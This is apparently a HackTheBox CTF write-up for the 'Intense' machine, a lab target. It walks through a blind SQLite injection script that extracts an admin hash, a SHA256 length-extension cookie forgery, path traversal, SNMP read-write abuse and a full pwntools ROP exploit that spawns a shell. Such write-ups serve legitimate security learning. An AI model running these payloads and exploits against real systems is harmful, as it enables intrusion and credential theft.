HackTheBox - Intense

Enumeration

Nmap:

# Nmap 7.80 scan initiated Sat Jul 11 17:54:15 2020 as: nmap -sC -sV -oN nmap 10.10.10.195
Nmap scan report for 10.10.10.195
Host is up (0.043s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)
|   256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)
|_  256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Intense - WebApp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 11 17:54:24 2020 -- 1 IP address (1 host up) scanned in 8.86 seconds

UDP Scan:

Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-14 00:04 CEST
Nmap scan report for intense.htb (10.10.10.195)
Host is up (0.038s latency).
Not shown: 956 closed ports, 43 open|filtered ports
PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 950.87 seconds

Website:

We can login with guest:guest and also download the source code of the application.

src: http://10.10.10.195/src.zip

After logging in we are greeted with a friendly message telling us not to rely on automated tools ;)

We also see a page called “Submit” though it doesn’t actually require any authentication. It is possible to submit message but we don’t get any feedback or response.

SNMP

Running snmpwalk with the public community string we can see some information, though it’s not what we would expect from snmp. Usually there is more information to be retrieved

root@[10.10.14.14]:~/htb/intense# snmpwalk -c public -v2c 10.10.10.195
iso.3.6.1.2.1.1.1.0 = STRING: "Linux intense 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (1304662) 3:37:26.62
iso.3.6.1.2.1.1.4.0 = STRING: "Me <user@intense.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "intense"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (130) 0:00:01.30
[...] Cut off for writeup

Let’s move on and keep this in mind

Source Code

The webserver is a Flask python application and the folder structure looks like this:

In the source code we can see different functionalites like login, cookie handling, admin functions and the message submit.

Let’s look at the submit function first.

@app.route("/submitmessage", methods=["POST"])
def submitmessage():
    message = request.form.get("message", '')
    if len(message) > 140:
        return "message too long"
    if badword_in_str(message):
        return "forbidden word in message"
    # insert new message in DB
    try:
        # the following query is NOT safe
        query_db("insert into messages values ('%s')" % message)
    except sqlite3.Error as e:
        return str(e)
    return "OK"

Only messages up to 140 characters are allowed, then it’s checking for some blacklisted words with badword_in_str(message) and lastly running a database query which seems to simply insert our message into a table.

It’s easy to spot that there is a SQLi vulnerability since it simply uses python string formatting and not a prepared statement.

We can see how it should be done in the try_login function

def try_login(form):
    """ Try to login with the submitted user info """
    if not form:
        return None
    username = form["username"]
    password = hash_password(form["password"])
    # The followng query is safe
    result = query_db(
    "select count(*) from users where username = ? and secret = ?",
    (username, password),
    one=True)
    if result and result[0]:
        return {"username": username, "secret":password}
    return None

SQL Injection

There are some things that can be done to exploit SQL injections in a sqlite3 database. One might stumble accross this handy cheat sheet: https://github.com/unicornsasfuel/sqlite_sqli_cheat_sheet We can’t do regular boolean blind based injection since we have no output if our query succeeded or not. We can’t do stacked queries since they’re also disabled by default. We can’t do time-based extraction since the term “rand” is blacklisted along with a few others.

def badword_in_str(data):
    data = data.lower()
    badwords = ["rand", "system", "exec", "date"]
    for badword in badwords:
        if badword in data:
            return True
    return False

After some poking we figure out that we can’t actually write anything to the sqlite3 db, because it’s not commiting after our query. That means this insertion is useless anyway. The load_extension() RCE is also disabled, or at least shows us an error.

I used string concatenation and used sub selects to issue other queries:

Why are we able to see an error? Let’s look at the code again

try:
    query_db("insert into messages values ('%s')" % message)
except sqlite3.Error as e:
    return str(e) # BINGO!
return "OK"

If there is an error it returns it as a string to us, so we get a different output. That way we have a function to check if our query was successful or not. I figured that with load_extension() the error is raised on runtime, meaing we only see the error if we actually reach that part of the query.

Now it’s possible to extract information by changing it to a boolean blind injection like this:

We already know there is a user with the username “guest”. We also know some structures of the db by looking at the source code. The conditionals for sqlite are also covered in the cheat sheet.

If we input a wrong username, our conditional won’t succeed and simply print an “OK” instead of the “not authorized” error that is caused by load_extension().

'||(select CASE username WHEN 'nonexistent' THEN load_extension(1) end from users where username = 'guest'))--

Now we can use the usual methods to extract information by using the SQL LIKE Operator

A query to extract the secret column step by step could look like this:

'||(select CASE username WHEN 'admin' THEN load_extension(1) end from users where secret like '{}%'))--

(While doing this box i set up a local environment and tested it against my own sqlite3 database. That way it’s much easier to see what’s working and what’s not)

Finally I created a script to do the boring work for me. While writing that script I was reminded that the query must not exceed 140 characters. To bypass that I extracted the front part of the secret, then the back part and mashed them together.

There might be a smarter way, but it worked for me.

Scripting it

Looking at it now, I realize that the login step probably isn’t needed after all.

import requests

username = 'guest'
password = 'guest'
url = 'http://127.0.0.1:5000'
url = 'http://10.10.10.195'

def login(url,username,password):
    url_login = url + '/postlogin'
    with requests.Session() as s:
        data={'username':username, 'password':password}    
        s.post(url_login, data=data, allow_redirects=False)
        resp = s.get(url, allow_redirects=False)
        return s.cookies

def sqli(user):
    cookies = login(url,username,password)
    payload = """'||(select CASE username WHEN '{}' THEN load_extension(1) end from users where secret like '{}%'))--"""
    charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&()*+,-./:;<=>?@[]^_`{|}~'
    secret = ''
    for x in range(0,40):
        for c in charset:
            query = payload.format(user,secret+c)
            r = requests.post(url+'/submitmessage',cookies=cookies,data={'message':query})
            if r.text == 'not authorized':
                secret = secret + c
                print('Secret: '+secret)
                break
    return secret

def sqli2(user):
    cookies = login(url,username,password)
    payload = """'||(select CASE username WHEN '{}' THEN load_extension(1) end from users where secret like '%{}'))--"""
    charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&()*+,-./:;<=>?@[]^_`{|}~'
    secret = ''
    for x in range(0,40):
        for c in charset:
            query = payload.format(user,c+secret)
            r = requests.post(url+'/submitmessage',cookies=cookies,data={'message':query})
            if r.text == 'not authorized':
                secret = c + secret
                print('Secret: '+secret)
                break
    return secret

part1,part2 = sqli('admin')[:32],sqli2('admin')[-32:]
print('Part 1: {} with length={}'.format(part1,len(part1)))
print('Part 2: {} with length={}'.format(part2,len(part2)))
secret = part1 + part2
print('Recovered Secret: '+secret)

The differences between sqli() and sqli2() are here:

[..] from users where secret like '{}%'))-- sqli()

[..] from users where secret like '%{}'))-- sqli2()

and here

if r.text == 'not authorized':
    secret = secret + c
    print('Secret: '+secret)
    break
if r.text == 'not authorized':
    secret = c + secret # Swapped
    print('Secret: '+secret)
    break

The script is nice enough to present us with the admins password hash

Recovered Secret: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105

We can try to crack the sha256 hash but fast enough we come to the conclusion that it’s not feasable to crack.

Session Cookies & lwt.py

Now is the time where it’s worth into looking how the application handles it’s session cookies. You might have already noticed that the username and secret are actually stored inside the cookie

Decoded it will look like this

The cookie consists of two parts:

  1. User Information
  2. Signature

The user information looks like this:

username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;

So if we are able to fake or forge a signature, we should be able to authenticate as the admin user without knowing the plaintext password.

The signature is computed by this function in lwt.py:

def sign(msg):
    """ Sign message with secret key """
    return sha256(SECRET + msg).digest()

The SECRET value is random and not known by the user

SECRET = os.urandom(randrange(8, 15))

We only know the range of it’s length, it’s between 8 and 15 bytes long. The signature itself is also a sha256 hash, which is base64 encoded and appended to the User Information part.

Attacking SHA256

The SHA256 hashing function aswell as other hashing function of the SHA-family are suspectible to a “Length Extension Attack”.

Details about the attack itself can be found on wikipedia: https://en.wikipedia.org/wiki/Length_extension_attack

There are also writeups about CTF Challenges like this 2014 PlaidCTF one involving this kind of attack: https://conceptofproof.wordpress.com/2014/04/13/plaidctf-2014-web-150-mtgox-writeup/

With this attack we can alter an already valid cookie and forge a new valid signature for it.

We need some things for this to work:

  • part of plaintext with a valid signature
  • length of the uknown rest of the plaintext (SECRET for us)

Once we know these two things we can forge a cookie with a signature that will be valid without actually knowing the SECRET part.

From then on we can add something to our cookie (the admin user information) and forge a valid signature for it.

By studying (or debugging) the code enough, you will notice that the app will throw away additional user info parts and only use the ones at the end of it. So we can simply add the admin part like so:

username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;

In our case we don’t actually know the exact length of secret, but we know the range it will be in. Since it’s a very small range we can just guess it pretty quickly.

I used the same tool as in the PlaidCTF Writeup, though i used the python library instead of the cli tool. It’s called hashpump

import requests
import hashpumpy
from base64 import b64decode, b64encode

url = 'http://127.0.0.1:5000'
url = 'http://10.10.10.195'
admin = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'
session = 'username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;'

def login(url,username,password):
    url_login = url + '/postlogin'
    with requests.Session() as s:
        data={'username':username, 'password':password}    
        s.post(url_login, data=data, allow_redirects=False)
        resp = s.get(url, allow_redirects=False)
        return s.cookies

def attack(length):
    cookies = login(url,'guest','guest')
    data,sig = cookies['auth'].split('.')
    hexdigest = b64decode(sig).hex()
    return hashpumpy.hashpump(hexdigest,session,admin,length)


for x in range(8,15):
    sig,data = attack(x)
    auth = str(b64encode(data),'utf-8')+'.'+str(b64encode(bytes.fromhex(sig)),'utf-8')
    r = requests.get(url+'/admin',cookies={'auth':auth})
    if r.status_code == 200:
        print('Success!')
        print('Secret Length='+str(x))
        print('Cookie: auth='+auth)
        break

And sure enough we will receive a valid cookie that logs us in as the admin user!

Local File Inclusion

The admin log functions are both suspectible to path traversal attack, meaning we can read any text file on the system and list all (for us) readable directories.

Please don’t ever use code like this.

#### Logs functions ####
def admin_view_log(filename):
    if not path.exists(f"logs/{filename}"):
        return f"Can't find {filename}"
    with open(f"logs/{filename}") as out:
        return out.read()


def admin_list_log(logdir):
    if not path.exists(f"logs/{logdir}"):
        return f"Can't find {logdir}"
    return listdir(logdir)

With this attack we can grab the user.txt file, but to proceed we must first get a shell. Remembering the Enumeration phase, we saw that the udp port 161 was open and had snmp running on it.

Time to look at the snmp configuration file in /etc/snmp/snmpd.conf

agentAddress  udp:161

view   systemonly  included   .1.3.6.1.2.1.1
view   systemonly  included   .1.3.6.1.2.1.25.1


 rocommunity public  default    -V systemonly
 rwcommunity SuP3RPrivCom90

###############################################################################
#
#  SYSTEM INFORMATION
#

#  Note that setting these values here, results in the corresponding MIB objects being 'read-only'
#  See snmpd.conf(5) for more details
[..] Cut off for writeup

We don’t actually care about what’s being served to snmp, there is something else that looks suspicious.

A custom community with open read-write permissions:
`rwcommunity SuP3RPrivCom90`

This can be abused to get code execution on the system. For our convenience there is an easy to use metasploit module named `exploit/linux/snmp/net_snmpd_rw_access`.

Note Server

in the home directory of the user “user” we can find an application called “note_server” along with it’s source code in “note_server.c”

This is only exploitable with a shell because the note_server is running on 127.0.0.1:5001 which isn’t accessible otherwise. Now we can upload our exploit to the box, or better forward the port to our box with ssh etc.

Exploit

from pwn import *
import struct

#context.log_level = 'debug'

def pad(data,size):
    return data+('\x41'*(size-len(data)))

def send_note(data):
    r.send('\x01')
    r.send(struct.pack('B',len(data))[0])
    r.send(data)

def print_note():
    # returns and closes socket
    r.send('\x03')

def copy_to_end(offset,size):
    r.send('\x02')
    off = struct.pack('H',offset)
    r.send(off)
    r.send(struct.pack('B',size)) # reads 1 byte


def leak_canary():
    # fill buffer with 1024
    send_note('A'*0xff)
    send_note('B'*0xff)
    send_note('C'*0xff)
    send_note('D'*0xff)
    send_note('a'*4)
    # overflow
    copy_to_end(1024,32)
    print_note()
    r.recv(1024)
    rbp = u64(r.recv(8))
    canary = u64(r.recv(8))
    r.recv(8)
    pie_leak = u64(r.recv(8))-0xf54
    log.info('Leaked RBP: '+hex(rbp))
    log.info('Leaked Canary: '+hex(canary))
    log.info('Leaked PIE Base: '+hex(pie_leak))
    return canary,rbp,pie_leak


elf = ELF('./note_server')
log.info('Read: '+hex(elf.got['read']))
r = remote('localhost',5001)
canary,rbp,pie = leak_canary()
r = remote('localhost',5001)

log.info('Doing Overflow')
# gadgets
pop_rsi_r15 = 0xfd1
pop_rdi = 0xfd3

system_offset = 0xa5d20 # change (libc)

payload = 'A'*8
payload += p64(canary)
payload += p64(rbp)
payload += p64(pie+elf.plt['read'])
payload += p64(pie+pop_rsi_r15)
payload += p64(pie+elf.got['read'])
payload += p64(0xdecafbad)
payload += p64(pie+0x900) # write
payload += p64(0xdecafbad)
data = pad(payload,0xff)
send_note(data)
send_note('B'*0xff)
send_note('C'*0xff)
send_note('D'*0xff)
send_note('a'*4)
copy_to_end(0,len(payload))
print_note()
r.send('z'*4)
r.recv(0x448)
libc_read = u64(r.recv(8))
r.recv()
log.info('Leaked LIBC Read: '+hex(libc_read))

# final step
libc_base = libc_read - 0x110070 # change
one_gadget = libc_base + 0x4f322 # change
libc_dup2 = libc_base + 0x1109a0 #0xeeeb0 # change (libc)
r = remote('localhost',5001)

log.info('Doing Overflow')

payload = 'A'*8
payload += p64(canary)
payload += p64(rbp)
payload += p64(pie+pop_rdi) # pop rdi
payload += p64(4)        # fd4
payload += p64(pie+pop_rsi_r15) # pop rsi r15
payload += p64(0) # fd0 = stdin
payload += p64(0)        # r15
payload += p64(libc_dup2)
payload += p64(pie+pop_rdi) # pop rdi
payload += p64(4)        # fd4
payload += p64(pie+pop_rsi_r15) # pop rsi r15
payload += p64(1) # fd1 = stdout
payload += p64(0)        # r15
payload += p64(libc_dup2)
payload += p64(one_gadget)
data = pad(payload,0xff)
send_note(data)
send_note('B'*0xff)
send_note('C'*0xff)
send_note('D'*0xff)
send_note('a'*4)
copy_to_end(0,len(payload))
print_note()

r.recv()
r.interactive()